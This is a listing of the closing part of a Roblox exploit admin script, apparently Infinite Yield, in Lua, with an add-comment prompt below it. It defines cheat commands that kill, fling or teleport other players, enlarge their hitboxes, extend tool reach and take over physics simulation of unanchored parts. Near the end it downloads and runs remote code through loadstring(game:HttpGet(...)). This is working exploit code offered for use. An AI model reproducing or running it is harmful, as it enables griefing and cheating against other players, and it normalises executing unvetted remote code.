  8280. origsettings = {abt = game:GetService("Lighting").Ambient, oabt = game:GetService("Lighting").OutdoorAmbient, brt = game:GetService("Lighting").Brightness, time = game:GetService("Lighting").ClockTime, fe = game:GetService("Lighting").FogEnd, fs = game:GetService("Lighting").FogStart, gs = game:GetService("Lighting").GlobalShadows}
  8281.  
  8282. addcmd('restorelighting',{'rlighting'},
  8283. function(args, speaker)
  8284. game:GetService("Lighting").Ambient = origsettings.abt
  8285. game:GetService("Lighting").OutdoorAmbient = origsettings.oabt
  8286. game:GetService("Lighting").Brightness = origsettings.brt
  8287. game:GetService("Lighting").ClockTime = origsettings.time
  8288. game:GetService("Lighting").FogEnd = origsettings.fe
  8289. game:GetService("Lighting").FogStart = origsettings.fs
  8290. game:GetService("Lighting").GlobalShadows = origsettings.gs
  8291. end)
  8292.  
  8293. addcmd('stun',{'platformstand'},
  8294. function(args, speaker)
  8295. speaker.Character:FindFirstChildOfClass('Humanoid').PlatformStand = true
  8296. end)
  8297.  
  8298. addcmd('unstun',{'nostun','unplatformstand','noplatformstand'},
  8299. function(args, speaker)
  8300. speaker.Character:FindFirstChildOfClass('Humanoid').PlatformStand = false
  8301. end)
  8302.  
  8303. addcmd('drophats',{'drophat'},
  8304. function(args, speaker)
  8305. if speaker.Character then
  8306. for _,v in pairs(speaker.Character.Humanoid:GetAccessories()) do
  8307. v.Parent = workspace
  8308. end
  8309. end
  8310. end)
  8311.  
  8312. addcmd('deletehats',{'nohats','rhats'},
  8313. function(args, speaker)
  8314. if speaker.Character then
  8315. for _,v in pairs(speaker.Character.Humanoid:GetAccessories()) do
  8316. v:Destroy()
  8317. end
  8318. end
  8319. end)
  8320.  
  8321. addcmd('droptools',{'droptool'},
  8322. function(args, speaker)
  8323. if speaker.Character then
  8324. for _,obj in pairs(speaker.Character:GetChildren()) do
  8325. if obj:IsA("Tool") then
  8326. obj.Parent = workspace
  8327. end
  8328. end
  8329. end
  8330. if speaker:FindFirstChild("Backpack") then
  8331. for _,obj in pairs(speaker.Backpack:GetChildren()) do
  8332. if obj:IsA("Tool") then
  8333. obj.Parent = workspace
  8334. end
  8335. end
  8336. end
  8337. end)
  8338.  
  8339. addcmd('droppabletools',{},
  8340. function(args, speaker)
  8341. if speaker.Character then
  8342. for _,obj in pairs(speaker.Character:GetChildren()) do
  8343. if obj:IsA("Tool") then
  8344. obj.CanBeDropped = true
  8345. end
  8346. end
  8347. end
  8348. if speaker:FindFirstChild("Backpack") then
  8349. for _,obj in pairs(speaker.Backpack:GetChildren()) do
  8350. if obj:IsA("Tool") then
  8351. obj.CanBeDropped = true
  8352. end
  8353. end
  8354. end
  8355. end)
  8356.  
  8357. currentToolSize = ""
  8358. currentGripPos = ""
  8359. addcmd('reach',{},
  8360. function(args, speaker)
  8361. execCmd('unreach')
  8362. wait()
  8363. for i,v in pairs(speaker.Character:GetDescendants()) do
  8364. if v:IsA("Tool") then
  8365. if args[1] then
  8366. currentToolSize = v.Handle.Size
  8367. currentGripPos = v.GripPos
  8368. local a = Instance.new("SelectionBox",v.Handle)
  8369. a.Name = "SelectionBoxCreated"
  8370. a.Adornee = v.Handle
  8371. v.Handle.Massless = true
  8372. v.Handle.Size = Vector3.new(0.5,0.5,args[1])
  8373. v.GripPos = Vector3.new(0,0,0)
  8374. speaker.Character.Humanoid:UnequipTools()
  8375. else
  8376. currentToolSize = v.Handle.Size
  8377. currentGripPos = v.GripPos
  8378. local a = Instance.new("SelectionBox",v.Handle)
  8379. a.Name = "SelectionBoxCreated"
  8380. a.Adornee = v.Handle
  8381. v.Handle.Massless = true
  8382. v.Handle.Size = Vector3.new(0.5,0.5,60)
  8383. v.GripPos = Vector3.new(0,0,0)
  8384. speaker.Character.Humanoid:UnequipTools()
  8385. end
  8386. end
  8387. end
  8388. end)
  8389.  
  8390. addcmd('unreach',{'noreach'},
  8391. function(args, speaker)
  8392. for i,v in pairs(speaker.Character:GetDescendants()) do
  8393. if v:IsA("Tool") then
  8394. v.Handle.Size = currentToolSize
  8395. v.GripPos = currentGripPos
  8396. v.Handle.SelectionBoxCreated:Destroy()
  8397. end
  8398. end
  8399. end)
  8400.  
  8401. addcmd('grippos',{},
  8402. function(args, speaker)
  8403. for i,v in pairs(speaker.Character:GetDescendants()) do
  8404. if v:IsA("Tool") then
  8405. v.Parent = speaker.Backpack
  8406. v.GripPos = Vector3.new(args[1],args[2],args[3])
  8407. wait()
  8408. v.Parent = speaker.Character
  8409. end
  8410. end
  8411. end)
  8412.  
  8413. addcmd('logs',{'chatlogs'},
  8414. function(args, speaker)
  8415. logsDrag:TweenPosition(UDim2.new(0, 0, 1, -245), "InOut", "Quart", 0.3, true, nil)
  8416. end)
  8417.  
  8418. flinging = false
  8419. addcmd('fling',{},
  8420. function(args, speaker)
  8421. for _, child in pairs(speaker.Character:GetDescendants()) do
  8422. if child:IsA("BasePart") then
  8423. child.CustomPhysicalProperties = PhysicalProperties.new(2, 0.3, 0.5)
  8424. end
  8425. end
  8426. for _,v in pairs(speaker.Character.Humanoid:GetAccessories()) do
  8427. for e,c in pairs(v:GetDescendants()) do
  8428. if c:IsA('BasePart') then
  8429. c.CustomPhysicalProperties = PhysicalProperties.new(0, 0.3, 0.5)
  8430. end
  8431. end
  8432. end
  8433. execCmd('noclip nonotify')
  8434. wait(.1)
  8435. local bambam = Instance.new("BodyAngularVelocity", speaker.Character.HumanoidRootPart)
  8436. bambam.Name = randomString()
  8437. bambam.AngularVelocity = Vector3.new(0,311111,0)
  8438. bambam.MaxTorque = Vector3.new(0,311111,0)
  8439. bambam.P = math.huge
  8440. local function PauseFling()
  8441. if speaker.Character:FindFirstChildOfClass("Humanoid") then
  8442. if speaker.Character:FindFirstChildOfClass("Humanoid").FloorMaterial == Enum.Material.Air then
  8443. bambam.AngularVelocity = Vector3.new(0,0,0)
  8444. else
  8445. bambam.AngularVelocity = Vector3.new(0,311111,0)
  8446. end
  8447. end
  8448. end
  8449. if TouchingFloor then
  8450. TouchingFloor:Disconnect()
  8451. end
  8452. if TouchingFloorReset then
  8453. TouchingFloorReset:Disconnect()
  8454. end
  8455. TouchingFloor = speaker.Character:FindFirstChildOfClass("Humanoid"):GetPropertyChangedSignal("FloorMaterial"):connect(PauseFling)
  8456. flinging = true
  8457. local function flingDied()
  8458. execCmd('unfling')
  8459. end
  8460. TouchingFloorReset = speaker.Character:FindFirstChildOfClass('Humanoid').Died:connect(flingDied)
  8461. end)
  8462.  
  8463. addcmd('unfling',{'nofling'},
  8464. function(args, speaker)
  8465. execCmd('clip nonotify')
  8466. if TouchingFloor then
  8467. TouchingFloor:Disconnect()
  8468. end
  8469. if TouchingFloorReset then
  8470. TouchingFloorReset:Disconnect()
  8471. end
  8472. flinging = false
  8473. wait(.1)
  8474. local speakerChar = speaker.Character
  8475. if not speakerChar or not speakerChar:FindFirstChild("HumanoidRootPart") then return end
  8476. for i,v in pairs(speakerChar.HumanoidRootPart:GetChildren()) do
  8477. if v.ClassName == 'BodyAngularVelocity' then
  8478. v:Destroy()
  8479. end
  8480. end
  8481. for _, child in pairs(speakerChar:GetDescendants()) do
  8482. if child.ClassName == "Part" or child.ClassName == "MeshPart" then
  8483. child.CustomPhysicalProperties = PhysicalProperties.new(0.7, 0.3, 0.5)
  8484. end
  8485. end
  8486. end)
  8487.  
  8488. addcmd('togglefling',{},
  8489. function(args, speaker)
  8490. if flinging then
  8491. execCmd('unfling')
  8492. else
  8493. execCmd('fling')
  8494. end
  8495. end)
  8496.  
  8497. function kill(speaker,target,fast)
  8498. if tools(speaker) then
  8499. if target ~= nil then
  8500. local NormPos = speaker.Character.HumanoidRootPart.CFrame
  8501. if not fast then
  8502. refresh(speaker)
  8503. wait()
  8504. repeat wait() until speaker.Character ~= nil and speaker.Character:FindFirstChild('HumanoidRootPart')
  8505. wait(0.3)
  8506. end
  8507. local char = speaker.Character
  8508. local tchar = target.Character
  8509. local hum = speaker.Character.Humanoid
  8510. local hrp = speaker.Character.HumanoidRootPart
  8511. local hrp2 = target.Character.HumanoidRootPart
  8512. hum.Name = "1"
  8513. local newHum = hum:Clone()
  8514. newHum.Parent = char
  8515. newHum.Name = "Humanoid"
  8516. wait(0.1)
  8517. hum:Destroy()
  8518. workspace.CurrentCamera.CameraSubject = char
  8519. newHum.DisplayDistanceType = "None"
  8520. wait(0.1)
  8521. local tool = speaker.Backpack:FindFirstChildOfClass("Tool")
  8522. tool.Parent = char
  8523. hrp.CFrame = hrp2.CFrame * CFrame.new(0, 0, 0) * CFrame.new(math.random(-50, 50)/200,math.random(-50, 50)/200,math.random(-50, 50)/200)
  8524. local n = 0
  8525. repeat
  8526. wait(.2)
  8527. n = n + 1
  8528. hrp.CFrame = hrp2.CFrame
  8529. until n == 4
  8530. repeat wait(0.1)
  8531. hrp.CFrame = CFrame.new(999999, workspace.FallenPartsDestroyHeight + 5,999999)
  8532. until not target.Character:FindFirstChild("HumanoidRootPart") or speaker.Character:FindFirstChild("HumanoidRootPart")
  8533. wait(0.3)
  8534. speaker.CharacterAdded:Wait():WaitForChild("HumanoidRootPart").CFrame = NormPos
  8535. print('OK!')
  8536. end
  8537. else
  8538. notify('Tool Required','You need to have a tool to use this command')
  8539. end
  8540. end
  8541.  
  8542. addcmd('kill',{'fekill'},
  8543. function(args, speaker)
  8544. local players = getPlayer(args[1], speaker)
  8545. for i,v in pairs(players) do
  8546. kill(speaker,Players[v])
  8547. end
  8548. end)
  8549.  
  8550. addcmd('fastkill',{'fastfekill'},
  8551. function(args, speaker)
  8552. local players = getPlayer(args[1], speaker)
  8553. for i,v in pairs(players) do
  8554. kill(speaker,Players[v],true)
  8555. end
  8556. end)
  8557.  
  8558. function bring(speaker,target,fast)
  8559. if tools(speaker) then
  8560. if target ~= nil then
  8561. local NormPos = speaker.Character.HumanoidRootPart.CFrame
  8562. if not fast then
  8563. refresh(speaker)
  8564. wait()
  8565. repeat wait() until speaker.Character ~= nil and speaker.Character:FindFirstChild('HumanoidRootPart')
  8566. wait(0.3)
  8567. end
  8568. local char = speaker.Character
  8569. local tchar = target.Character
  8570. local hum = speaker.Character.Humanoid
  8571. local hrp = speaker.Character.HumanoidRootPart
  8572. local hrp2 = target.Character.HumanoidRootPart
  8573. hum.Name = "1"
  8574. local newHum = hum:Clone()
  8575. newHum.Parent = char
  8576. newHum.Name = "Humanoid"
  8577. wait(0.1)
  8578. hum:Destroy()
  8579. workspace.CurrentCamera.CameraSubject = char
  8580. newHum.DisplayDistanceType = "None"
  8581. wait(0.1)
  8582. local tool = speaker.Backpack:FindFirstChildOfClass("Tool")
  8583. tool.Parent = char
  8584. hrp.CFrame = hrp2.CFrame * CFrame.new(0, 0, 0) * CFrame.new(math.random(-50, 50)/200,math.random(-50, 50)/200,math.random(-50, 50)/200)
  8585. local n = 0
  8586. repeat
  8587. wait(.2)
  8588. n = n + 1
  8589. hrp.CFrame = hrp2.CFrame
  8590. until n == 4
  8591. workspace.CurrentCamera.CameraType = Enum.CameraType.Custom
  8592. repeat wait(0.1)
  8593. hrp.CFrame = NormPos
  8594. until not target.Character:FindFirstChild("HumanoidRootPart") or speaker.Character:FindFirstChild("HumanoidRootPart")
  8595. wait(0.3)
  8596. speaker.CharacterAdded:Wait():WaitForChild("HumanoidRootPart").CFrame = NormPos
  8597. end
  8598. else
  8599. notify('Tool Required','You need to have a tool to use this command')
  8600. end
  8601. end
  8602.  
  8603. addcmd('bring',{'febring'},
  8604. function(args, speaker)
  8605. local players = getPlayer(args[1], speaker)
  8606. for i,v in pairs(players) do
  8607. bring(speaker,Players[v])
  8608. end
  8609. end)
  8610.  
  8611. addcmd('fastbring',{'fastfebring'},
  8612. function(args, speaker)
  8613. local players = getPlayer(args[1], speaker)
  8614. for i,v in pairs(players) do
  8615. bring(speaker,Players[v],true)
  8616. end
  8617. end)
  8618.  
  8619. addcmd('spin',{},
  8620. function(args, speaker)
  8621. local spinSpeed = 20
  8622. if args[1] and isNumber(args[1]) then
  8623. spinSpeed = args[1]
  8624. end
  8625. for i,v in pairs(speaker.Character.HumanoidRootPart:GetChildren()) do
  8626. if v.Name == "Spinning" then
  8627. v:Destroy()
  8628. end
  8629. end
  8630. local Spin = Instance.new("BodyAngularVelocity", speaker.Character.HumanoidRootPart)
  8631. Spin.Name = "Spinning"
  8632. Spin.MaxTorque = Vector3.new(0, math.huge, 0)
  8633. Spin.AngularVelocity = Vector3.new(0,spinSpeed,0)
  8634. end)
  8635.  
  8636. addcmd('unspin',{},
  8637. function(args, speaker)
  8638. for i,v in pairs(speaker.Character.HumanoidRootPart:GetChildren()) do
  8639. if v.Name == "Spinning" then
  8640. v:Destroy()
  8641. end
  8642. end
  8643. end)
  8644.  
  8645. transparent = false
  8646. function x(v)
  8647. if v then
  8648. for _,i in pairs(workspace:GetDescendants()) do
  8649. if i:IsA("BasePart") and not i.Parent:FindFirstChild("Humanoid") and not i.Parent.Parent:FindFirstChild("Humanoid") then
  8650. i.LocalTransparencyModifier = 0.5
  8651. end
  8652. end
  8653. else
  8654. for _,i in pairs(workspace:GetDescendants()) do
  8655. if i:IsA("BasePart") and not i.Parent:FindFirstChild("Humanoid") and not i.Parent.Parent:FindFirstChild("Humanoid") then
  8656. i.LocalTransparencyModifier = 0
  8657. end
  8658. end
  8659. end
  8660. end
  8661.  
  8662. addcmd('xray',{},
  8663. function(args, speaker)
  8664. transparent = true
  8665. x(transparent)
  8666. end)
  8667.  
  8668. addcmd('unxray',{'noxray'},
  8669. function(args, speaker)
  8670. transparent = false
  8671. x(transparent)
  8672. end)
  8673.  
  8674. addcmd('togglexray',{},
  8675. function(args, speaker)
  8676. transparent=not transparent
  8677. x(transparent)
  8678. end)
  8679.  
  8680. walltpTouch = nil
  8681. addcmd('walltp',{},
  8682. function(args, speaker)
  8683. local torso
  8684. if r15(speaker) then
  8685. torso = speaker.Character.UpperTorso
  8686. else
  8687. torso = speaker.Character.Torso
  8688. end
  8689. local function touchedFunc(hit)
  8690. local Root = speaker.Character.HumanoidRootPart
  8691. if hit:IsA("BasePart") and hit.Position.Y > Root.Position.Y - speaker.Character.Humanoid.HipHeight then
  8692. local hitP = hit.Parent:FindFirstChild("HumanoidRootPart")
  8693. if hitP ~= nil then
  8694. Root.CFrame = hit.CFrame * CFrame.new(Root.CFrame.lookVector.X,hitP.Size.Z/2 + speaker.Character.Humanoid.HipHeight,Root.CFrame.lookVector.Z)
  8695. elseif hitP == nil then
  8696. Root.CFrame = hit.CFrame * CFrame.new(Root.CFrame.lookVector.X,hit.Size.Y/2 + speaker.Character.Humanoid.HipHeight,Root.CFrame.lookVector.Z)
  8697. end
  8698. end
  8699. end
  8700. walltpTouch = torso.Touched:Connect(touchedFunc)
  8701. end)
  8702.  
  8703. addcmd('unwalltp',{'nowalltp'},
  8704. function(args, speaker)
  8705. if walltpTouch then
  8706. walltpTouch:Disconnect()
  8707. end
  8708. end)
  8709.  
  8710. autoclicking = false
  8711. addcmd('autoclick',{},
  8712. function(args, speaker)
  8713. if mouse1press and mouse1release then
  8714. execCmd('unautoclick')
  8715. wait()
  8716. local clickDelay = 0.1
  8717. local releaseDelay = 0.1
  8718. if args[1] and isNumber(args[1]) then clickDelay = tonumber(args[1]) end
  8719. if args[2] and isNumber(args[2]) then releaseDelay = tonumber(args[2]) end
  8720. autoclicking = true
  8721. cancelAutoClick = UserInputService.InputBegan:Connect(function(input, gameProcessedEvent)
  8722. if not gameProcessedEvent then
  8723. if (input.KeyCode == Enum.KeyCode.Backspace and UserInputService:IsKeyDown(Enum.KeyCode.Equals)) or (input.KeyCode == Enum.KeyCode.Equals and UserInputService:IsKeyDown(Enum.KeyCode.Backspace)) then
  8724. autoclicking = false
  8725. cancelAutoClick:Disconnect()
  8726. end
  8727. end
  8728. end)
  8729. notify('Auto Clicker',"Press [backspace] and [=] at the same time to stop")
  8730. repeat wait(clickDelay)
  8731. mouse1press()
  8732. wait(releaseDelay)
  8733. mouse1release()
  8734. until autoclicking == false
  8735. else
  8736. notify('Auto Clicker',"Your exploit doesn't have the ability to use the autoclick")
  8737. end
  8738. end)
  8739.  
  8740. addcmd('unautoclick',{'noautoclick'},
  8741. function(args, speaker)
  8742. autoclicking = false
  8743. if cancelAutoClick then cancelAutoClick:Disconnect() end
  8744. end)
  8745.  
  8746. addcmd('mousesensitivity',{'ms'},
  8747. function(args, speaker)
  8748. UserInputService.MouseDeltaSensitivity = args[1]
  8749. end)
  8750.  
  8751. nameBox = nil
  8752. nbSelection = nil
  8753. addcmd('hovername',{},
  8754. function(args, speaker)
  8755. execCmd('unhovername')
  8756. wait()
  8757. nameBox = Instance.new("TextLabel")
  8758. nameBox.Name = randomString()
  8759. nameBox.Parent = PARENT
  8760. nameBox.BackgroundTransparency = 1
  8761. nameBox.Size = UDim2.new(0,200,0,30)
  8762. nameBox.Font = Enum.Font.Code
  8763. nameBox.TextSize = 16
  8764. nameBox.Text = ""
  8765. nameBox.TextColor3 = Color3.new(1, 1, 1)
  8766. nameBox.TextStrokeTransparency = 0
  8767. nameBox.TextXAlignment = Enum.TextXAlignment.Left
  8768. nameBox.ZIndex = 10
  8769. nbSelection = Instance.new('SelectionBox')
  8770. nbSelection.Name = randomString()
  8771. nbSelection.LineThickness = 0.03
  8772. nbSelection.Color3 = Color3.new(1, 1, 1)
  8773. local function updateNameBox()
  8774. local t
  8775. local target = IYMouse.Target
  8776.  
  8777. if target then
  8778. local humanoid = target.Parent:FindFirstChild('Humanoid') or target.Parent.Parent:FindFirstChild('Humanoid')
  8779. if humanoid then
  8780. t = humanoid.Parent
  8781. end
  8782. end
  8783.  
  8784. if t ~= nil then
  8785. local x = IYMouse.X
  8786. local y = IYMouse.Y
  8787. local xP
  8788. local yP
  8789. if IYMouse.X > 200 then
  8790. xP = x - 205
  8791. nameBox.TextXAlignment = Enum.TextXAlignment.Right
  8792. else
  8793. xP = x + 25
  8794. nameBox.TextXAlignment = Enum.TextXAlignment.Left
  8795. end
  8796. nameBox.Position = UDim2.new(0, xP, 0, y)
  8797. nameBox.Text = t.Name
  8798. nameBox.Visible = true
  8799. nbSelection.Parent = t
  8800. nbSelection.Adornee = t
  8801. else
  8802. nameBox.Visible = false
  8803. nbSelection.Parent = nil
  8804. nbSelection.Adornee = nil
  8805. end
  8806. end
  8807. nbUpdateFunc = IYMouse.Move:connect(updateNameBox)
  8808. end)
  8809.  
  8810. addcmd('unhovername',{'nohovername'},
  8811. function(args, speaker)
  8812. if nbUpdateFunc then
  8813. nbUpdateFunc:Disconnect()
  8814. nameBox:Destroy()
  8815. nbSelection:Destroy()
  8816. end
  8817. end)
  8818.  
  8819. addcmd('hitbox',{},
  8820. function(args, speaker)
  8821. local players = getPlayer(args[1], speaker)
  8822. for i,v in pairs(players) do
  8823. if Players[v]~= speaker and Players[v].Character:FindFirstChild('Head') then
  8824. local sizeArg = tonumber(args[2])
  8825. local Size = Vector3.new(sizeArg,sizeArg,sizeArg)
  8826. local Head = Players[v].Character:FindFirstChild('Head')
  8827. if Head:IsA("BasePart") then
  8828. if not args[2] or sizeArg == 1 then
  8829. Head.Size = Vector3.new(2,1,1)
  8830. else
  8831. Head.Size = Size
  8832. end
  8833. end
  8834. end
  8835. end
  8836. end)
  8837.  
  8838. freezingua = nil
  8839. frozenParts = {}
  8840. addcmd('freezeunanchored',{'freezeua'},
  8841. function(args, speaker)
  8842. local badnames = {
  8843. "Head",
  8844. "UpperTorso",
  8845. "LowerTorso",
  8846. "RightUpperArm",
  8847. "LeftUpperArm",
  8848. "RightLowerArm",
  8849. "LeftLowerArm",
  8850. "RightHand",
  8851. "LeftHand",
  8852. "RightUpperLeg",
  8853. "LeftUpperLeg",
  8854. "RightLowerLeg",
  8855. "LeftLowerLeg",
  8856. "RightFoot",
  8857. "LeftFoot",
  8858. "Torso",
  8859. "Right Arm",
  8860. "Left Arm",
  8861. "Right Leg",
  8862. "Left Leg",
  8863. "HumanoidRootPart"
  8864. }
  8865. local function FREEZENOOB(v)
  8866. if v:IsA("BasePart" or "UnionOperation") and v.Anchored == false then
  8867. local BADD = false
  8868. for i = 1,#badnames do
  8869. if v.Name == badnames[i] then
  8870. BADD = true
  8871. end
  8872. end
  8873. if speaker.Character and v:IsDescendantOf(speaker.Character) then
  8874. BADD = true
  8875. end
  8876. if BADD == false then
  8877. for i,c in pairs(v:GetChildren()) do
  8878. if c:IsA("BodyPosition") or c:IsA("BodyGyro") then
  8879. c:Destroy()
  8880. end
  8881. end
  8882. local hUge = math.huge
  8883. speaker.MaximumSimulationRadius = math.pow(hUge,hUge)*hUge
  8884. speaker.SimulationRadius = math.pow(hUge,hUge)*hUge
  8885. local bodypos = Instance.new("BodyPosition",v)
  8886. bodypos.Position = v.Position
  8887. bodypos.MaxForce = Vector3.new(hUge,hUge,hUge)
  8888. local bodygyro = Instance.new("BodyGyro",v)
  8889. bodygyro.CFrame = v.CFrame
  8890. bodygyro.MaxTorque = Vector3.new(hUge,hUge,hUge)
  8891. if not table.find(frozenParts,v) then print('added')
  8892. table.insert(frozenParts,v)
  8893. end
  8894. end
  8895. end
  8896. end
  8897. for i,v in pairs(workspace:GetDescendants()) do
  8898. FREEZENOOB(v)
  8899. end
  8900. freezingua = workspace.DescendantAdded:Connect(FREEZENOOB)
  8901. end)
  8902.  
  8903. addcmd('thawunanchored',{'thawua','unfreezeunanchored','unfreezeua'},
  8904. function(args, speaker)
  8905. if freezingua then
  8906. freezingua:Disconnect()
  8907. end
  8908. speaker.MaximumSimulationRadius = math.pow(math.huge,math.huge)*math.huge
  8909. speaker.SimulationRadius = math.pow(math.huge,math.huge)*math.huge
  8910. for i,v in pairs(frozenParts) do
  8911. for i,c in pairs(v:GetChildren()) do
  8912. if c:IsA("BodyPosition") or c:IsA("BodyGyro") then
  8913. c:Destroy()
  8914. end
  8915. end
  8916. end
  8917. frozenParts = {}
  8918. end)
  8919.  
  8920. addcmd('tpunanchored',{'tpua'},
  8921. function(args, speaker)
  8922. local players = getPlayer(args[1], speaker)
  8923. for i,v in pairs(players) do
  8924. local Forces = {}
  8925. for _,part in pairs(workspace:GetDescendants()) do
  8926. if Players[v].Character:FindFirstChild('Head') and part:IsA("BasePart" or "UnionOperation" or "Model") and part.Anchored == false and not part:IsDescendantOf(speaker.Character) and part.Name == "Torso" == false and part.Name == "Head" == false and part.Name == "Right Arm" == false and part.Name == "Left Arm" == false and part.Name == "Right Leg" == false and part.Name == "Left Leg" == false and part.Name == "HumanoidRootPart" == false then
  8927. for i,c in pairs(part:GetChildren()) do
  8928. if c:IsA("BodyPosition") or c:IsA("BodyGyro") then
  8929. c:Destroy()
  8930. end
  8931. end
  8932. local ForceInstance = Instance.new("BodyPosition", part)
  8933. ForceInstance.MaxForce = Vector3.new(math.huge, math.huge, math.huge)
  8934. table.insert(Forces, ForceInstance)
  8935. if not table.find(frozenParts,part) then
  8936. table.insert(frozenParts,part)
  8937. end
  8938. end
  8939. end
  8940. speaker.MaximumSimulationRadius = math.pow(math.huge,math.huge)*math.huge
  8941. speaker.SimulationRadius = math.pow(math.huge,math.huge)*math.huge
  8942. for i,c in pairs(Forces) do
  8943. c.Position = Players[v].Character.Head.Position
  8944. end
  8945. end
  8946. end)
  8947.  
  8948. addcmd('addplugin',{'plugin'},
  8949. function(args, speaker)
  8950. addPlugin(getstring(1))
  8951. end)
  8952.  
  8953. addcmd('removeplugin',{'deleteplugin'},
  8954. function(args, speaker)
  8955. deletePlugin(getstring(1))
  8956. end)
  8957.  
  8958. addcmd('reloadplugin',{},
  8959. function(args, speaker)
  8960. local pluginName = getstring(1)
  8961. deletePlugin(pluginName)
  8962. wait(1)
  8963. addPlugin(pluginName)
  8964. end)
  8965.  
  8966. addcmd('removecmd',{'deletecmd'},
  8967. function(args, speaker)
  8968. removecmd(args[1])
  8969. end)
  8970.  
  8971. updateColors(currentShade1,shade1)
  8972. updateColors(currentShade2,shade2)
  8973. updateColors(currentShade3,shade3)
  8974. updateColors(currentText1,text1)
  8975. updateColors(currentText2,text2)
  8976. updateColors(currentScroll,scroll)
  8977.  
  8978. if PluginsTable ~= nil or PluginsTable ~= {} then
  8979. FindPlugins(PluginsTable)
  8980. end
  8981.  
  8982. IYMouse.Move:connect(checkTT)
  8983.  
  8984. if pcall(function() loadstring(game:HttpGet('https://raw.githubusercontent.com/EdgeIY/infiniteyield/master/version'))() end) then
  8985. if ver ~= Version then
  8986. notify('Outdated','Get the new version at infyield.yolasite.com')
  8987. end
  8988. if Announcement and Announcement ~= '' then
  8989. local AnnGUI = Instance.new("Frame")
  8990. local background = Instance.new("Frame")
  8991. local TextBox = Instance.new("TextLabel")
  8992. local shadow = Instance.new("Frame")
  8993. local PopupText = Instance.new("TextLabel")
  8994. local Exit = Instance.new("ImageButton")
  8995.  
  8996. AnnGUI.Name = randomString()
  8997. AnnGUI.Parent = PARENT
  8998. AnnGUI.Active = true
  8999. AnnGUI.BackgroundTransparency = 1
  9000. AnnGUI.Position = UDim2.new(0.5, -180, 0, -400)
  9001. AnnGUI.Size = UDim2.new(0, 360, 0, 20)
  9002. AnnGUI.ZIndex = 10
  9003.  
  9004. background.Name = "background"
  9005. background.Parent = AnnGUI
  9006. background.Active = true
  9007. background.BackgroundColor3 = currentShade1
  9008. background.BorderSizePixel = 0
  9009. background.Position = UDim2.new(0, 0, 0, 20)
  9010. background.Size = UDim2.new(0, 360, 0, 116)
  9011. background.ZIndex = 10
  9012.  
  9013. TextBox.Parent = background
  9014. TextBox.BackgroundTransparency = 1
  9015. TextBox.Position = UDim2.new(0.017, 0, 0.06, 0)
  9016. TextBox.Size = UDim2.new(0, 348, 0, 104)
  9017. TextBox.Font = Enum.Font.SourceSans
  9018. TextBox.TextSize = 18
  9019. TextBox.TextWrapped = true
  9020. TextBox.Text = Announcement
  9021. TextBox.TextColor3 = currentText1
  9022. TextBox.TextXAlignment = Enum.TextXAlignment.Left
  9023. TextBox.TextYAlignment = Enum.TextYAlignment.Top
  9024. TextBox.ZIndex = 10
  9025.  
  9026. shadow.Name = "shadow"
  9027. shadow.Parent = AnnGUI
  9028. shadow.BackgroundColor3 = currentShade2
  9029. shadow.BorderSizePixel = 0
  9030. shadow.Size = UDim2.new(0, 360, 0, 20)
  9031. shadow.ZIndex = 10
  9032.  
  9033. PopupText.Name = "PopupText"
  9034. PopupText.Parent = shadow
  9035. PopupText.BackgroundTransparency = 1
  9036. PopupText.Position = UDim2.new(0, 51, 0, 0)
  9037. PopupText.Size = UDim2.new(0.76, -16, 0.95, 0)
  9038. PopupText.ZIndex = 10
  9039. PopupText.Font = Enum.Font.SourceSans
  9040. PopupText.TextSize = 14
  9041. PopupText.Text = "Server Announcement"
  9042. PopupText.TextColor3 = currentText1
  9043. PopupText.TextWrapped = true
  9044.  
  9045. Exit.Name = "Exit"
  9046. Exit.Parent = shadow
  9047. Exit.BackgroundTransparency = 1
  9048. Exit.Size = UDim2.new(0, 20, 0, 20)
  9049. Exit.ZIndex = 10
  9050. Exit.Image = "rbxassetid://2132544126"
  9051.  
  9052. wait(1)
  9053. AnnGUI:TweenPosition(UDim2.new(0.5, -180, 0, 150), "InOut", "Quart", 0.5, true, nil)
  9054.  
  9055. Exit.MouseButton1Click:Connect(function()
  9056. AnnGUI:TweenPosition(UDim2.new(0.5, -180, 0, -400), "InOut", "Quart", 0.5, true, nil)
  9057. wait(0.6)
  9058. AnnGUI:Destroy()
  9059. end)
  9060. end
  9061. end
  9062.  
  9063. wait()
  9064. Credits:TweenPosition(UDim2.new(0,0,0.9,0), "Out", "Quart", 0.2)
  9065. Logo:TweenSizeAndPosition(UDim2.new(0,175,0,175),UDim2.new(0,37,0,45), "Out", "Quart", 0.3)
  9066. wait(1)
  9067. for i=0,1,0.1 do
  9068. Logo.ImageTransparency = i
  9069. IntroBackground.BackgroundTransparency = i
  9070. wait()
  9071. end
  9072. Credits:TweenPosition(UDim2.new(0,0,0.9,30), "Out", "Quart", 0.2)
  9073. wait(0.2)
  9074. Logo:Destroy()
  9075. Credits:Destroy()
  9076. IntroBackground:Destroy()
  9077. minimizeHolder()
Add Comment
Please, Sign In to add comment